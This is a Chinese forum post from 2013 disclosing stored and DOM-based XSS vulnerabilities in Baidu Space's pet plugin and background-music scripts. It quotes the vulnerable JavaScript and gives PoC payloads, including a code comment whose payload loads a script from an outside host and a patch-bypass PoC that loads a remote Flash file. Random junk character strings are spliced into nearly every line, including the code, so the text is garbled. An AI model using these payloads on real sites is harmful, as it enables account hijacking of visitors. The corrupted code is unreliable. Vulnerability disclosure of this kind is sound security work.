找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2331|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  . h) z/ j1 R- V) G5 {) Y  E( x
. r; C* X! M2 {. u8 y3 e8 h
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  
0 @3 S. I; D8 P4 J2 ^) b2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  , U' h4 S# c, {& T# B& }

3 A: t0 D' g1 S" x4 Q  v将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
* g; f  B# R0 W; g# ~) l, P: {其中BdUtil.insertWBR为  " W' i' m: V" [1 u+ V9 S' i
function(text, step) {  6 e7 D1 c% R2 i& K
    var textarea = textAreaCache || getContainer();  
( r" e7 Q+ J9 W! [/ p    if (!textarea) {  
$ n* f. d# \+ f1 g9 U% u  j        return text;  0 ]( Q/ s' k; n8 A
    }  
4 l% m" p2 P0 [# y) i$ ^    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  4 N8 P/ r/ Q3 z/ ]- V( ^& Z
    var string = textarea.value;  
4 o5 m5 x3 r, {4 C8 y. J+ l    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
5 G! u$ Y" L* q  M/ A    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
! k% Z) h0 i  z7 c! ]    return result;  
3 P3 H  e8 @. Q, U; k% U}  
3 M7 a5 i5 s4 H0 x在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  / V2 M" O1 V* N' K
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
; O4 [0 r2 O- W4 l4 X- g) t+ @7 }   ; r7 h0 I' ?' M8 B3 a* A3 n5 F
二:creatbgmusic() Dom-Xss Bug  8 Y4 S- n7 W' a! U$ j
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  
6 ^* B- r7 n7 j& W3 d) p6 x% N( J# ^4 T, p6 X
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
5 I$ p8 L' r6 G- O, J& Y  r1 C" n
. ~7 z! g5 N5 a1 p( w4 |# Cfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
; W0 t: K# ?6 ?/ b    //传入的murl赋值到bgmusic1和bgmusic2中  
) \2 D! p5 o7 Q; s+ [4 T" z    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  : [! Q, _9 e# b) r& h
    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  3 K- ~* W0 `) l+ g6 \2 P0 P
    if (musicnum <= 1) {  # {$ S0 s0 t: W& r4 b- P
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
* g' f! a2 K1 h5 I  n" F" o    }  0 ], G' ]% j- Q+ g( Q, n
    bgmusic1 += "</OBJECT>";  
; S. k+ b6 P: w1 t. b1 p) N. j+ X7 ?    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
  `, X8 W3 @+ w0 R; V, Z1 o- N7 _    if (musicnum <= 1) {  
+ u/ ?% F! ~' H9 `' b        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
3 j* E& V( ^+ i6 l    }  5 F- w: G% {( E' x6 e
    bgmusic2 += "> </EMBED>";  
* J- i" V. w9 \" z; g5 a9 ]4 L" J    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  
1 Q$ E+ C: I  R- \9 l! c, t  ?# p    var bgmus = detectWMP();  5 ~& Y( P" f$ p( N5 w2 o
    if (functype == "FckMusicHelper") {  ! c' J* g+ Q3 S9 u0 P5 j
        if (bgmus.installed) {  2 L( S! F: U. }  q; |9 d2 d. m
            if (bgmus.type == "IE") {  ' J/ [& ?6 y, x7 @! i# K+ ^1 V# O
                return bgmusic1;  " m9 {; l( W. \- |- C( {
            } else if (bgmus.type == "NS") {  ! A' R9 r" k7 T+ n& R; [
                return bgmusic2;  4 M4 \2 r8 U; W3 }
            }  
# ~- s4 ]1 o, ?        } else {  
$ j; c8 ?- `% `5 b& w% u* f) v. G            return bgmusic3;  
% V5 |' j. C& P* f        }  
) F" }- }0 r) I7 t/ |8 W2 |    } else {  7 I$ s4 m% h; A" i
        if (bgmus.installed) {    Y8 c  r, K3 H6 {7 {; w8 h9 D
            //document.write 直接输出bgmusic变量 导致xss  0 c1 `, N% B: J. \
            if (bgmus.type == "IE") {  
+ z& |  O- M9 Z" P% ]3 G/ g5 ]                document.write(bgmusic1);  9 ?' q' h! b3 P) Z% @% `( q
            } else if (bgmus.type == "NS") {  7 G. q" S  E4 A, \* b
                document.write(bgmusic2);  
7 ~$ _  j  P  |5 ?* i* r# x            }  
& `# D- V2 A3 c. [. F        } else {  " q; ~$ S- N: q- G% m5 @& p9 H; \8 ~
            document.write(bgmusic3);  , l8 x$ Z9 C% D- Z; X
        }  ; L" ^, N# b; y& z$ }
        return "";  
) e6 q4 P' x5 N7 }% ~; A    }  
) S6 l- {* D% l1 r}  
' a) L8 H5 g& w% f
( N: L+ ^) d# I6 S5 y: X在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  " Q$ j" D% R# {$ m; p' Z
$ p: h, R1 ?! ]1 k  t$ c: y+ E
function initBlogTextForFCK(){  & A; P- R( V* k, F
//fck init music  
2 F& x. D; R( c9 h! v9 uif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  
( W  x+ D' {6 G2 z, a* A1 Dvar imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  
# q) ?9 h3 c" j) B8 f; N) {9 Mvar isAutoPlay=true;  
. |- n1 ]1 w6 T. [for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  
9 m4 l; f$ @7 |5 c1 E5 s" c+ I  var img=imgBox;  
% a- Y! N) e  D: x5 f) U' x  if(img.getAttribute(’rel’)){        . Y9 [0 v& }& `
   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
" N* c# Y, S/ R+ h   var musicDiv = document.createElement("SPAN");  
6 M7 V. S: u0 x0 t* i   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  ( Z. m  G8 f; ~  s& T3 R. S
     
9 i2 l3 ?5 W3 i2 P/ S& O: g      ..........................  " H6 _% x  \& t  X8 I) V
     " G9 I  ^% n, L2 Z9 J1 k7 R" \, ?
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
" t4 D/ o) g5 i0 o4 O% f   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  # C# N6 T1 q# W' X0 Z4 m
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  ! t5 G; }  m5 ^" L9 G) l5 O3 f1 p
   musicDiv.innerHTML=shtml;  
1 u* u6 W- B' y  H   i--;n--;  + f7 J7 W8 L  ^! n% j
  }  1 h  W8 b0 S! j0 l: i
}  
4 o' w0 E2 r1 l, D' X  g2 ?* }$ `* a) }' U1 n
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  , v% R9 I6 B- X! ~
   
* V; V3 w  a0 i0 K0 D' u测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  ' {# T- z. ]2 Y4 d& g8 \; X

' s- i" S& T: q5 y+ ?$ ]等待官方补丁  & s+ Q8 ?8 G' `2 j

7 J& Z5 y' n7 B9 }% \. y+ wupdate 2010年5月13日   
2 [: \, F3 ?' y! I8 x4 Z
! x1 I$ U+ p# U; H; v官方补丁:  
8 [6 b4 W* A# {9 c! J- B6 T- ^% y; n9 l9 ^' a2 k; T
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
6 w: f, j. I3 |改为:  
# D5 \4 e# h; a2 ]4 Vvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  , ~2 S# {) w# _/ ?' v

% C* U" j4 e. P! yupdate 2010年5月13日 21:50:37  5 H+ c7 h: f- q$ {0 t6 U% h$ \
3 d+ E( R$ x7 M7 A4 `2 V
补丁存在漏洞 没有过滤" 可以继续跨:  ! X: Y% u* r; F* O

; n: c( P3 H) m+ mNEW POC:  
4 f7 o% C1 F. H4 J5 v$ E/ s1 N1 s6 [# J% N) D
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
6 \2 T+ m8 N/ V$ F+ Z# }: ]. O; _' M3 K* ~2 J; B$ N7 J1 T7 E8 K" l
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
2 c- a& e: D9 ]* A! ` ( x& g+ h( u8 H5 G3 j" O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表